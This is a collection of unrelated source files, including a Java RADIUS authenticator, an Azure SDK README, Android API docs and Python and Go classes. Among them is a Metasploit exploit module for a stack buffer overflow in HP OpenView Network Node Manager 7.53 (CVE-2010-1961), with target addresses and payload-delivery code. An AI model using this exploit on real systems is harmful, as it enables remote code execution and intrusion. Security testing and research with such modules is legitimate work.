text:
package uk.co.o2wifi.modjradius.auth;

import net.jradius.client.auth.RadiusAuthenticator;
import net.jradius.exception.RadiusException;
import net.jradius.packet.RadiusPacket;
import net.jradius.packet.attribute.AttributeDictionary;
import net.jradius.packet.attribute.AttributeFactory;
import net.jradius.packet.attribute.RadiusAttribute;
import net.jradius.util.RadiusUtils;

import java.security.NoSuchAlgorithmException;

/**
 * Created by pete on 23/06/15.
 */
public class PAPAuthenticator extends RadiusAuthenticator {
    public static final String NAME = "pap";
    private String sharedSecret;

    @Override
    public String getAuthName() {
        return NAME;
    }

    @Override
    public void processRequest(RadiusPacket radiusPacket) throws RadiusException {
        if (password == null) throw new RadiusException("no password given");

        radiusPacket.removeAttribute(password);

        RadiusAttribute attr;
        radiusPacket.addAttribute(attr = AttributeFactory.newAttribute("User-Password"));
        attr.setValue(RadiusUtils.encodePapPassword(
                password.getValue().getBytes(),
                // Create an authenticator (AccessRequest just needs shared secret)
                radiusPacket.createAuthenticator(null, 0, 0, sharedSecret),
                sharedSecret));
    }

    public void setupRequest(RadiusPacket p, String sharedSecret) throws RadiusException, NoSuchAlgorithmException {
        RadiusAttribute a;
        this.sharedSecret = sharedSecret;

        if (username == null) {
            a = p.findAttribute(AttributeDictionary.USER_NAME);

            if (a == null)
                throw new RadiusException("You must at least have a User-Name attribute in a Access-Request");

            username = AttributeFactory.copyAttribute(a);
        }

        if (password == null) {
            a = p.findAttribute(AttributeDictionary.USER_PASSWORD);

            if (a != null) {
                password = AttributeFactory.copyAttribute(a);
            }
        }
    }

    public String getSharedSecret() {
        return sharedSecret;
    }

    public void setSharedSecret(String sharedSecret) {
        this.sharedSecret = sharedSecret;
    }
}


text:
This package follows the [new Azure SDK guidelines](https://azure.github.io/azure-sdk/general_introduction.html) which provide a number of core capabilities that are shared amongst all Azure SDKs, including the intuitive Azure Identity library, an HTTP Pipeline with custom policies, error-handling, distributed tracing, and much more.

## Getting started

### Install the package

Install the Azure Storage management library for .NET with [NuGet](https://www.nuget.org/):

```PowerShell
Install-Package Azure.ResourceManager.Storage -Version 1.0.0-beta1
```

### Prerequisites
Set up a way to authenticate to Azure with Azure Identity.

Some options are:
- Through the [Azure CLI Login](https://docs.microsoft.com/cli/azure/authenticate-azure-cli).
- Via [Visual Studio](https://docs.microsoft.com/dotnet/api/overview/azure/identity-readme?view=azure-dotnet#authenticating-via-visual-studio).
- Setting [Environment Variables](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/resourcemanager/Azure.ResourceManager/docs/AuthUsingEnvironmentVariables.md).

More information and different authentication approaches using Azure Identity can be found in [this document](https://docs.microsoft.com/dotnet/api/overview/azure/identity-readme?view=azure-dotnet).

### Authenticate the Client

The default option to create an authenticated client is to use `DefaultAzureCredential`. Since all management APIs go through the same endpoint, in order to interact with resources, only one top-level `ArmClient` has to be created.

To authenticate to Azure and create an `ArmClient`, do the following:

```C# Snippet:Managing_StorageAccounts_AuthClient
using Azure.Identity;
using Azure.ResourceManager;

ArmClient armClient = new ArmClient(new DefaultAzureCredential());
```

Additional documentation for the `Azure.Identity.DefaultAzureCredential` class can be found in [this document](https://docs.microsoft.com/dotnet/api/azure.identity.defaultazurecredential).

## Key concepts

Key concepts of the Azure .NET SDK can be found [here](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/resourcemanager/Azure.ResourceManager/README.md#key-concepts)

## Examples

### Create a storage account

Before creating a storage account, we need to have a resource group.

```C# Snippet:Managing_StorageAccounts_DefaultSubscription
ArmClient armClient = new ArmClient(new DefaultAzureCredential());
Subscription subscription = armClient.DefaultSubscription;
```
```C# Snippet:Managing_StorageAccounts_GetResourceGroupContainer
string rgName = "myRgName";
Location location = Location.WestUS2;
ResourceGroupCreateOrUpdateOperation operation= await subscription.GetResourceGroups().CreateOrUpdateAsync(rgName, new ResourceGroupData(location));
ResourceGroup resourceGroup = operation.Value;
```

Then we can create a storage account inside this resource group.

```C# Snippet:Managing_StorageAccounts_CreateStorageAccount
//first we need to define the StorageAccountCreateParameters
Sku sku = new Sku(SkuName.StandardGRS);
Kind kind = Kind.Storage;
string location = "westus2";
StorageAccountCreateParameters parameters = new StorageAccountCreateParameters(sku, kind, location);
//now we can create a storage account with defined account name and parameters
StorageAccountContainer accountContainer = resourceGroup.GetStorageAccounts();
string accountName = "myAccount";
StorageAccountCreateOperation accountCreateOperation = await accountContainer.CreateOrUpdateAsync(accountName, parameters);
StorageAccount storageAccount = accountCreateOperation.Value;
```

### Get all storage accounts in a resource group

```C# Snippet:Managing_StorageAccounts_ListStorageAccounts
StorageAccountContainer accountContainer = resourceGroup.GetStorageAccounts();
AsyncPageable<StorageAccount> response = accountContainer.GetAllAsync();
await foreach (StorageAccount storageAccount in response)
{
    Console.WriteLine(storageAccount.Id.Name);
}
```

### Get a storage account

```C# Snippet:Managing_StorageAccounts_GetStorageAccount
StorageAccountContainer accountContainer = resourceGroup.GetStorageAccounts();
StorageAccount storageAccount = await accountContainer.GetAsync("myAccount");
Console.WriteLine(storageAccount.Id.Name);
```

### Try to get a storage account if it exists

```C# Snippet:Managing_StorageAccounts_GetStorageAccountIfExists
StorageAccountContainer accountContainer = resourceGroup.GetStorageAccounts();
StorageAccount storageAccount = await accountContainer.GetIfExistsAsync("foo");
if (storageAccount != null)
{
    Console.WriteLine(storageAccount.Id.Name);
}
if (await accountContainer.CheckIfExistsAsync("bar"))
{
    Console.WriteLine("storage account 'bar' exists");
}
```

### Delete a storage account

```C# Snippet:Managing_StorageAccounts_DeleteStorageAccount
StorageAccountContainer accountContainer = resourceGroup.GetStorageAccounts();
StorageAccount storageAccount = await accountContainer.GetAsync("myAccount");
await storageAccount.DeleteAsync();
```

### Add a tag to the storage account

```C# Snippet:Managing_StorageAccounts_AddTagStorageAccount
StorageAccountContainer accountContainer = resourceGroup.GetStorageAccounts();
StorageAccount storageAccount = await accountContainer.GetAsync("myAccount");
// add a tag on this storage account
await storageAccount.AddTagAsync("key", "value");
```

For more detailed examples, take a look at [samples](https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/storage/Azure.ResourceManager.Storage/samples) we have available.

## Troubleshooting

-   If you find a bug or have a suggestion, file an issue via [GitHub issues](https://github.com/Azure/azure-sdk-for-net/issues) and make sure you add the "Preview" label to the issue.
-   If you need help, check [previous
    questions](https://stackoverflow.com/questions/tagged/azure+.net)
    or ask new ones on StackOverflow using azure and .NET tags.
-   If having trouble with authentication, go to [DefaultAzureCredential documentation](https://docs.microsoft.com/dotnet/api/azure.identity.defaultazurecredential?view=azure-dotnet)

## Next steps

### More sample code

- [Managing Blob Containers](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/storage/Azure.ResourceManager.Storage/samples/Sample1_ManagingBlobContainers.md)
- [Managing File Shares](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/storage/Azure.ResourceManager.Storage/samples/Sample2_ManagingFileShares.md)

### Additional Documentation

For more information on Azure SDK, please refer to [this website](https://azure.github.io/azure-sdk/).

## Contributing

For details on contributing to this repository, see the contributing
guide.

This project welcomes contributions and suggestions. Most contributions
require you to agree to a Contributor License Agreement (CLA) declaring
that you have the right to, and actually do, grant us the rights to use
your contribution. For details, visit <https://cla.microsoft.com>.

When you submit a pull request, a CLA-bot will automatically determine
whether you need to provide a CLA and decorate the PR appropriately
(e.g., label, comment). Simply follow the instructions provided by the
bot. You will only need to do this once across all repositories using
our CLA.

This project has adopted the Microsoft Open Source Code of Conduct. For
more information see the Code of Conduct FAQ or contact
<opencode@microsoft.com> with any additional questions or comments.

<!-- LINKS -->
[style-guide-msft]: https://docs.microsoft.com/style-guide/capitalization
[style-guide-cloud]: https://aka.ms/azsdk/cloud-style-guide

![Impressions](https://azure-sdk-impressions.azurewebsites.net/api/impressions/azure-sdk-for-net%2Fsdk%2Ftemplate%2FAzure.Template%2FREADME.png)

redpajama_set_name: RedPajamaGithub


text:
import SkillEffect from "./SkillEffect"

// 値オブジェクト:必殺技
export default class Skill {
  private _name: string
  private _cost: number
  private _condition: string
  private _effects: SkillEffect[]

  constructor(name: string, cost: number, condition: string, effects: SkillEffect[]) {
    this._name = name
    this._condition = condition

    if (cost >= 0) {
      this._cost = cost
    } else {
      this._cost = 0
    }

    // effectsは1個以上必要
    if (effects.length < 1) {
      throw new Error("effectsは最低1個必要です")
    }
    this._effects = effects
  }

  get name(): string {
    return this._name
  }
  get cost(): number {
    return this._cost
  }
  get condition(): string {
    return this._condition
  }
  get effects(): SkillEffect[] {
    return this._effects
  }
}


text:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP OpenView Network Node Manager ovwebsnmpsrv.exe ovutil Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
				prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'
				CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.

				This vulnerability is triggerable via either a GET or POST request. It is interesting to
				note that this vulnerability cannot be exploited by overwriting SEH, since attempting
				to would trigger CVE-2010-1964.

				The vulnerable code is within a sub-function called from "main" within "ovwebsnmpsrv.exe"
				with a timestamp prior to April 7th, 2010. This function contains a 256 byte stack buffer
				which is passed to the "getProxiedStorageAddress" function within ovutil.dll. When
				processing the address results in an error, the buffer is overflowed in a call to sprintf_new.
				There are no stack cookies present, so exploitation is easily achieved by overwriting the
				saved return address.

				There exists some unreliability when running this exploit. It is not completely clear why
				at this time, but may be related to OVWDB or session management. Also, on some attempts
				OV NNM may report invalid characters in the URL. It is not clear what is causing this
				either.
			} ,
			'Author'         =>
				[
					'jduck'   # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12096 $',
			'References'     =>
				[
					[ 'CVE', '2010-1961' ],
					[ 'OSVDB', '65428' ],
					[ 'BID', '40638' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-106/' ],
					[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 512, # 256 byte buffer..
					# In addition to regular HTTP type bad chars, this one also has
					# an issue with " since the buffer is being passed on the command line.
					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x22\x24\x2c\x3b\x60",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
					'DisableNops' => true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'HP OpenView Network Node Manager 7.53 w/NNM_01201',
						{
							'PopPopRet' => 0x5a02aadf, # pop edx/pop ebp/ret - in ov.dll (v1.30.10.9166)
							'JmpEsp' => 0x5a219880,    # jmp esp - in ovsnmp.dll (v1.30.10.9166)
						}
					],
					[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
						{
							'PopPopRet' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
							'JmpEsp' => 0x5a219880,    # jmp esp - in ovsnmp.dll (v1.30.10.9166)
						}
					],
					[ 'Debug Target',
						{
							'PopPopRet' => 0xdeadbeef, # crasher
							'JmpEsp' => 0xbeefcafe
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'June 16 2010'))

		register_options(
			[
				Opt::RPORT(80),
			], self.class)
	end

	def exploit

		print_status("Trying target #{target.name}...")

		cgi = '/OvCgi/jovgraph.exe'

		# Any command line parameter will cause a buffer overflow.

		# "action" must be set
		action = rand_text_alphanumeric(1)

		# "sel" must be set
		sel = rand_text_alphanumeric(1)

		# "timestamp" cannot be set.

		start = 'No entry for '

		ret_offset = 256 + 4 + 12 + 4

		# Create the buffer
		buf = ''
		buf << rand_text(ret_offset - start.length)
		buf << [target['PopPopRet']].pack('V')
		buf << [0x5a400141].pack('V') # ptr to zero
		buf << [0x5a459fdc].pack('V') # ptr to writable scratch
		buf << [target['JmpEsp']].pack('V')
		#buf << "\xcc"
		buf << payload.encoded

		# Ugh, triggers cve-2010-1964
		#buf = pattern_create(1456)

		# Send the request
		if rand(2) > 0
			print_status("Sending exploit via POST request...")
			res = send_request_cgi({
				'uri'		  => cgi,
				'method'	  => "POST",
				'vars_post' =>
					{
						'sel' => sel,
						'act' => action,
						'arg' => buf
					}
			}, 3)
		else
			print_status("Sending exploit via GET request...")
			res = send_request_cgi({
				'uri'		  => cgi,
				'method'	  => "GET",
				'vars_get' =>
					{
						'sel' => sel,
						'act' => action,
						'arg' => buf
					}
			}, 3)
		end

		if not res
			raise RuntimeError, "Eek! We didn't get a response.. Exploiting this vuln should return one!"
		end

		print_status(res.body) if datastore["NNM_DEBUG"]

		if res.body =~ /graphing applet is being/
			print_status("We got the body we were looking for, the session should be coming any second.")
		else
			raise RuntimeError, "Eek, exploit likely failed. The body didn't contain what we expected."
		end

		handler

	end

	def wfs_delay
		5
	end

end


text:
<?php
/**
 * The template for displaying the footer
 *
 * Contains the closing of the "off-canvas-wrap" div and all content after.
 *
 * @package FoundationPress
 * @since FoundationPress 1.0.0
 */

?>

				<?php do_action( 'foundationpress_before_footer' ); ?>
				<?php dynamic_sidebar( 'footer-widgets' ); ?>
				<?php do_action( 'foundationpress_after_footer' ); ?>

Įmonės kodas	159931142

PVM mokėtojo kodas	LT599311411

Adresas	Smiltynų I km., LT-54400 Kauno r.

Telefonas	Agnapolio Dvaras Telefonas

Faksas	Agnapolio Dvaras Faksas

		<?php do_action( 'foundationpress_layout_end' ); ?>

<?php if ( get_theme_mod( 'wpt_mobile_menu_layout' ) == 'offcanvas' ) : ?>

<?php endif; ?>

<?php wp_footer(); ?>
<?php do_action( 'foundationpress_before_closing_body' ); ?>


text:
@import MagnetMaxCore;

@interface MMXSurveyChoiceResult : MMModel

@property (nonatomic, copy) NSString *selectedChoiceId;

@property (nonatomic, assign) long long count;

@end


text:
.navbar{border-radius:2px}textarea{width:100%}
/*# sourceMappingURL=maps/styles.min.css.map */


text:
<!DOCTYPE html>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width" />

<link rel="shortcut icon" type="image/x-icon" href="../../../../../../../favicon.ico" />
<title>ActivityLifecycleMonitorImpl | Android Developers</title>

<link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Roboto+Condensed">
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Roboto:light,regular,medium,thin,italic,mediumitalic,bold"
  title="roboto">
<link href="../../../../../../../assets/css/default.css?v=4" rel="stylesheet" type="text/css">

<link href="../../../../../../../assets/css/fullscreen.css" rel="stylesheet" class="fullscreen"
type="text/css">

            Quicknav
            Quicknav

              Design

Develop

Distribute

Links

Google Play Developer Console

Android Developers Blog

About Android

Android Sites

Android.com

Android Developers

Android Open Source Project

      <form onsubmit="return submit_search()">
        <input id="search_autocomplete" type="text" value="" autocomplete="off" name="q"
          onfocus="search_focus_changed(this, true)" onblur="search_focus_changed(this, false)"
          onkeydown="return search_changed(event, true, '../../../../../../../')"
          onkeyup="return search_changed(event, false, '../../../../../../../')" />
      </form>

      close

About

Wear

TV

Auto

Get Started

Devices

Style

Patterns

Building Blocks

Downloads

Videos

Training

API Guides

Reference

Tools

Google Services

Google Play

Essentials

Get Users

Engage & Retain

Monetize

Tools & Reference

Developer Stories

Help Android Wear and TV developers

                    Learn more

Training

API Guides

Reference

Tools

Google Services

Results

Loading...

ActivityLifecycleMonitorImpl

          API level:

            <select id="apiLevelSelector">

            </select>

Android APIs

  android.support.test

  android.support.test.filters

  android.support.test.internal.runner.lifecycle

  android.support.test.internal.runner.tracker

  android.support.test.internal.util

  android.support.test.runner

  android.support.test.runner.lifecycle

Classes

ActivityLifecycleMonitorImpl

ActivityLifecycleMonitorRegistry

      fullscreen
      Use Tree NavigationUse Panel Navigation

Summary:

  Ctors

  | Methods

  | Inherited Methods

| [Expand All]

    public

    final

    class

ActivityLifecycleMonitorImpl

    extends Object

      implements

        ActivityLifecycleMonitor

        java.lang.Object

               ↳

        android.support.test.internal.runner.lifecycle.ActivityLifecycleMonitorImpl

Class Overview

The lifecycle monitor used by AndroidJUnitRunner.

Summary

Public Constructors

        <nobr>

            </nobr>

        <nobr>
        ActivityLifecycleMonitorImpl()</nobr>

        <nobr>

            </nobr>

        <nobr>
        ActivityLifecycleMonitorImpl(boolean declawThreadCheck)</nobr>

Public Methods

        <nobr>

            void</nobr>

        <nobr>
        addLifecycleCallback(ActivityLifecycleCallback callback)</nobr>

          Adds a new callback that will be notified when lifecycle changes occur.

        <nobr>

            Collection<Activity></nobr>

        <nobr>
        getActivitiesInStage(Stage stage)</nobr>

          Returns all activities in a given stage of their lifecycle.

        <nobr>

            Stage</nobr>

        <nobr>
        getLifecycleStageOf(Activity activity)</nobr>

          Returns the current lifecycle stage of a given activity.

        <nobr>

            void</nobr>

        <nobr>
        removeLifecycleCallback(ActivityLifecycleCallback callback)</nobr>

          Removes a previously registered lifecycle callback.

        <nobr>

            void</nobr>

        <nobr>
        signalLifecycleChange(Stage stage, Activity activity)</nobr>

          Called by the runner after a particular onXXX lifecycle method has been called on a given
 activity.

  [Expand]

Inherited Methods

From class

  java.lang.Object

        <nobr>

            Object</nobr>

        <nobr>
        clone()</nobr>

        <nobr>

            boolean</nobr>

        <nobr>
        equals(Object arg0)</nobr>

        <nobr>

            void</nobr>

        <nobr>
        finalize()</nobr>

        <nobr>

            final

            Class<?></nobr>

        <nobr>
        getClass()</nobr>

        <nobr>

            int</nobr>

        <nobr>
        hashCode()</nobr>

        <nobr>

            final

            void</nobr>

        <nobr>
        notify()</nobr>

        <nobr>

            final

            void</nobr>

        <nobr>
        notifyAll()</nobr>

        <nobr>

            String</nobr>

        <nobr>
        toString()</nobr>

        <nobr>

            final

            void</nobr>

        <nobr>
        wait()</nobr>

        <nobr>

            final

            void</nobr>

        <nobr>
        wait(long arg0, int arg1)</nobr>

        <nobr>

            final

            void</nobr>

        <nobr>
        wait(long arg0)</nobr>

From interface

  android.support.test.runner.lifecycle.ActivityLifecycleMonitor

        <nobr>
            abstract

            void</nobr>

        <nobr>
        addLifecycleCallback(ActivityLifecycleCallback callback)</nobr>

          Adds a new callback that will be notified when lifecycle changes occur.

        <nobr>
            abstract

            Collection<Activity></nobr>

        <nobr>
        getActivitiesInStage(Stage stage)</nobr>

          Returns all activities in a given stage of their lifecycle.

        <nobr>
            abstract

            Stage</nobr>

        <nobr>
        getLifecycleStageOf(Activity activity)</nobr>

          Returns the current lifecycle stage of a given activity.

        <nobr>
            abstract

            void</nobr>

        <nobr>
        removeLifecycleCallback(ActivityLifecycleCallback callback)</nobr>

          Removes a previously registered lifecycle callback.

Public Constructors

        public

      ActivityLifecycleMonitorImpl
      ()

        public

      ActivityLifecycleMonitorImpl
      (boolean declawThreadCheck)

Public Methods

        public

        void

      addLifecycleCallback
      (ActivityLifecycleCallback callback)

Adds a new callback that will be notified when lifecycle changes occur.

 Implementors will not hold a strong ref to the callback, the code which registers callbacks
 is responsible for this. Code which registers callbacks should responsibly
 remove their callback when it is no longer needed.

 Callbacks are executed on the main thread of the application, and should take care not to
 block or otherwise perform expensive operations as it will directly impact the application.

Parameters

          callback
          an ActivityLifecycleCallback

        public

        Collection<Activity>

      getActivitiesInStage
      (Stage stage)

Returns all activities in a given stage of their lifecycle.

 This method can only return a consistant and correct answer from the main thread, therefore
 callers should always invoke it from the main thread and implementors are free to throw an
 exception if the call is not made on the main thread.

 Implementors should ensure this method returns a consistant response if called from a
 lifecycle callback also registered with this monitor (eg: it would be horriblely wrong if a
 callback sees PAUSED and calls this method with the PAUSED and does not see its activity in
 the response.

 Callers should be aware that the monitor implementation may not hold strong references to the
 Activities in the application. Therefore stages which are considered end stages or eligible
 for garbage collection on low memory situations may not return an instance of a particular
 activity if it has been garbage collected.

Parameters

          stage
          the stage to query for.

Returns

a snapshot Collection of activities in the given stage. This collection may be empty.

        public

        Stage

      getLifecycleStageOf
      (Activity activity)

Returns the current lifecycle stage of a given activity.

 This method can only return a consistant and correct answer
 from the main thread, therefore callers should always invoke
 it from the main thread and implementors are free to throw an
 exception if the call is not made on the main thread.

 Implementors should ensure this method returns a consistant response if called from a
 lifecycle callback also registered with this monitor (eg: it would be horriblely wrong if a
 callback sees PAUSED and calls this method with the same activity and gets RESUMED.

Parameters

          activity
          an activity in this application.

Returns

the lifecycle stage this activity is in.

        public

        void

      removeLifecycleCallback
      (ActivityLifecycleCallback callback)

Removes a previously registered lifecycle callback.

        public

        void

      signalLifecycleChange
      (Stage stage, Activity activity)

Called by the runner after a particular onXXX lifecycle method has been called on a given
 activity.

  Except as noted, this content is licensed under Apache 2.0.
  For details and restrictions, see the
  Content License.

    Android  r —

    About Android  |
    Legal  |
    Support


text:
"""
Certificate manager API
"""
import abc

import six

@six.add_metaclass(abc.ABCMeta)
class Cert(object):
    """Base class to represent all certificates."""

    @abc.abstractmethod
    def get_certificate(self):
        """Returns the certificate."""
        pass

    @abc.abstractmethod
    def get_intermediates(self):
        """Returns the intermediate certificates."""
        pass

    @abc.abstractmethod
    def get_private_key(self):
        """Returns the private key for the certificate."""
        pass

    @abc.abstractmethod
    def get_private_key_passphrase(self):
        """Returns the passphrase for the private key."""
        pass

@six.add_metaclass(abc.ABCMeta)
class CertManager(object):
    """Base Cert Manager Interface

    A Cert Manager is responsible for managing certificates for TLS.
    """

    @abc.abstractmethod
    def store_cert(self, certificate, private_key, intermediates=None,
                   private_key_passphrase=None, **kwargs):
        """Stores (i.e., registers) a cert with the cert manager.

        This method stores the specified cert and returns its UUID that
        identifies it within the cert manager.
        If storage of the certificate data fails, a CertificateStorageException
        should be raised.
        """
        pass

    @abc.abstractmethod
    def get_cert(self, cert_ref, check_only=False,
                 resource_ref=None, **kwargs):
        """Retrieves the specified cert.

        If check_only is True, don't perform any sort of registration.
        If the specified cert does not exist, a CertificateStorageException
        should be raised.
        """
        pass

    @abc.abstractmethod
    def delete_cert(self, cert_ref, resource_ref, **kwargs):
        """Deletes the specified cert.

        If the specified cert does not exist, a CertificateStorageException
        should be raised.
        """
        pass


text:
//                           _       _
// __      _____  __ ___   ___  __ _| |_ ___
// \ \ /\ / / _ \/ _` \ \ / / |/ _` | __/ _ \
//  \ V  V /  __/ (_| |\ V /| | (_| | ||  __/
//   \_/\_/ \___|\__,_| \_/ |_|\__,_|\__\___|
//
//  Copyright © 2016 - 2020 SeMI Holding B.V. (registered @ Dutch Chamber of Commerce no 75221632). All rights reserved.
//  LICENSE WEAVIATE OPEN SOURCE: https://www.semi.technology/playbook/playbook/contract-weaviate-OSS.html
//  LICENSE WEAVIATE ENTERPRISE: https://www.semi.technology/playbook/contract-weaviate-enterprise.html
//  CONCEPT: Bob van Luijt (@bobvanluijt)
//  CONTACT: hello@semi.technology
//

// Code generated by go-swagger; DO NOT EDIT.

package well_known

// This file was generated by the swagger tool.
// Editing this file might prove futile when you re-run the swagger generate command

import (
	"fmt"

	"github.com/go-openapi/runtime"

	strfmt "github.com/go-openapi/strfmt"
)

// New creates a new well known API client.
func New(transport runtime.ClientTransport, formats strfmt.Registry) *Client {
	return &Client{transport: transport, formats: formats}
}

/*
Client for well known API
*/
type Client struct {
	transport runtime.ClientTransport
	formats   strfmt.Registry
}

/*
GetWellKnownOpenidConfiguration os ID c discovery information if o ID c auth is enabled

OIDC Discovery page, redirects to the token issuer if one is configured
*/
func (a *Client) GetWellKnownOpenidConfiguration(params *GetWellKnownOpenidConfigurationParams, authInfo runtime.ClientAuthInfoWriter) (*GetWellKnownOpenidConfigurationOK, error) {
	// TODO: Validate the params before sending
	if params == nil {
		params = NewGetWellKnownOpenidConfigurationParams()
	}

	result, err := a.transport.Submit(&runtime.ClientOperation{
		ID:                 "GetWellKnownOpenidConfiguration",
		Method:             "GET",
		PathPattern:        "/.well-known/openid-configuration",
		ProducesMediaTypes: []string{"application/json"},
		ConsumesMediaTypes: []string{"application/json", "application/yaml"},
		Schemes:            []string{"https"},
		Params:             params,
		Reader:             &GetWellKnownOpenidConfigurationReader{formats: a.formats},
		AuthInfo:           authInfo,
		Context:            params.Context,
		Client:             params.HTTPClient,
	})
	if err != nil {
		return nil, err
	}
	success, ok := result.(*GetWellKnownOpenidConfigurationOK)
	if ok {
		return success, nil
	}
	// unexpected success response
	// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue
	msg := fmt.Sprintf("unexpected success response for GetWellKnownOpenidConfiguration: API contract not enforced by server. Client expected to get an error, but got: %T", result)
	panic(msg)
}

// SetTransport changes the transport on the client
func (a *Client) SetTransport(transport runtime.ClientTransport) {
	a.transport = transport
}


text:
import six

from pycadf import attachment
from pycadf import cadftaxonomy
from pycadf import cadftype
from pycadf import credential
from pycadf import endpoint
from pycadf import geolocation
from pycadf import host
from pycadf import identifier

TYPE_URI_RESOURCE = cadftype.CADF_VERSION_1_0_0 + 'resource'

RESOURCE_KEYNAME_TYPEURI = "typeURI"
RESOURCE_KEYNAME_ID = "id"
RESOURCE_KEYNAME_NAME = "name"
RESOURCE_KEYNAME_DOMAIN = "domain"
RESOURCE_KEYNAME_CRED = "credential"
RESOURCE_KEYNAME_REF = "ref"
RESOURCE_KEYNAME_GEO = "geolocation"
RESOURCE_KEYNAME_GEOID = "geolocationId"
RESOURCE_KEYNAME_HOST = "host"
RESOURCE_KEYNAME_ADDRS = "addresses"
RESOURCE_KEYNAME_ATTACHMENTS = "attachments"

RESOURCE_KEYNAMES = [RESOURCE_KEYNAME_TYPEURI,
                     RESOURCE_KEYNAME_ID,
                     RESOURCE_KEYNAME_NAME,
                     RESOURCE_KEYNAME_DOMAIN,
                     RESOURCE_KEYNAME_CRED,
                     RESOURCE_KEYNAME_REF,
                     RESOURCE_KEYNAME_GEO,
                     RESOURCE_KEYNAME_GEOID,
                     RESOURCE_KEYNAME_HOST,
                     RESOURCE_KEYNAME_ADDRS,
                     RESOURCE_KEYNAME_ATTACHMENTS]

class Resource(cadftype.CADFAbstractType):

    typeURI = cadftype.ValidatorDescriptor(
        RESOURCE_KEYNAME_TYPEURI, lambda x: cadftaxonomy.is_valid_resource(x))
    id = cadftype.ValidatorDescriptor(RESOURCE_KEYNAME_ID,
                                      lambda x: identifier.is_valid(x))
    name = cadftype.ValidatorDescriptor(RESOURCE_KEYNAME_NAME,
                                        lambda x: isinstance(x,
                                                             six.string_types))
    domain = cadftype.ValidatorDescriptor(RESOURCE_KEYNAME_DOMAIN,
                                          lambda x: isinstance(
                                              x, six.string_types))
    credential = cadftype.ValidatorDescriptor(
        RESOURCE_KEYNAME_CRED, (lambda x: isinstance(x, credential.Credential)
                                and x.is_valid()))
    host = cadftype.ValidatorDescriptor(
        RESOURCE_KEYNAME_HOST, lambda x: isinstance(x, host.Host))
    # TODO(mrutkows): validate the "ref" attribute is indeed a URI (format),
    # If it is a URL, we do not need to validate it is accessible/working,
    # for audit purposes this could have been a valid URL at some point
    # in the past or a URL that is only valid within some domain (e.g. a
    # private cloud)
    ref = cadftype.ValidatorDescriptor(RESOURCE_KEYNAME_REF,
                                       lambda x: isinstance(x,
                                                            six.string_types))
    geolocation = cadftype.ValidatorDescriptor(
        RESOURCE_KEYNAME_GEO,
        lambda x: isinstance(x, geolocation.Geolocation))
    geolocationId = cadftype.ValidatorDescriptor(
        RESOURCE_KEYNAME_GEOID, lambda x: identifier.is_valid(x))

    def __init__(self, id=None, typeURI=cadftaxonomy.UNKNOWN, name=None,
                 ref=None, domain=None, credential=None, host=None,
                 geolocation=None, geolocationId=None):

        # Resource.id
        setattr(self, RESOURCE_KEYNAME_ID, id or identifier.generate_uuid())

        # Resource.typeURI
        if (getattr(self, RESOURCE_KEYNAME_ID) != "target" and
                getattr(self, RESOURCE_KEYNAME_ID) != "initiator"):
            setattr(self, RESOURCE_KEYNAME_TYPEURI, typeURI)

        # Resource.name
        if name is not None:
            setattr(self, RESOURCE_KEYNAME_NAME, name)

        # Resource.ref
        if ref is not None:
            setattr(self, RESOURCE_KEYNAME_REF, ref)

        # Resource.domain
        if domain is not None:
            setattr(self, RESOURCE_KEYNAME_DOMAIN, domain)

        # Resource.credential
        if credential is not None:
            setattr(self, RESOURCE_KEYNAME_CRED, credential)

        # Resource.host
        if host is not None:
            setattr(self, RESOURCE_KEYNAME_HOST, host)

        # Resource.geolocation
        if geolocation is not None:
            setattr(self, RESOURCE_KEYNAME_GEO, geolocation)

        # Resource.geolocationId
        if geolocationId:
            setattr(self, RESOURCE_KEYNAME_GEOID, geolocationId)

    # Resource.address
    def add_address(self, addr):
        if (addr is not None and isinstance(addr, endpoint.Endpoint)):
            if addr.is_valid():
                # Create the list of Endpoints if needed
                if not hasattr(self, RESOURCE_KEYNAME_ADDRS):
                    setattr(self, RESOURCE_KEYNAME_ADDRS, list())

                addrs = getattr(self, RESOURCE_KEYNAME_ADDRS)
                addrs.append(addr)
            else:
                raise ValueError('Invalid endpoint')
        else:
            raise ValueError('Invalid endpoint. Value must be an Endpoint')

    # Resource.attachments
    def add_attachment(self, attach_val):
        if (attach_val is not None
                and isinstance(attach_val, attachment.Attachment)):
            if attach_val.is_valid():
                # Create the list of Attachments if needed
                if not hasattr(self, RESOURCE_KEYNAME_ATTACHMENTS):
                    setattr(self, RESOURCE_KEYNAME_ATTACHMENTS, list())

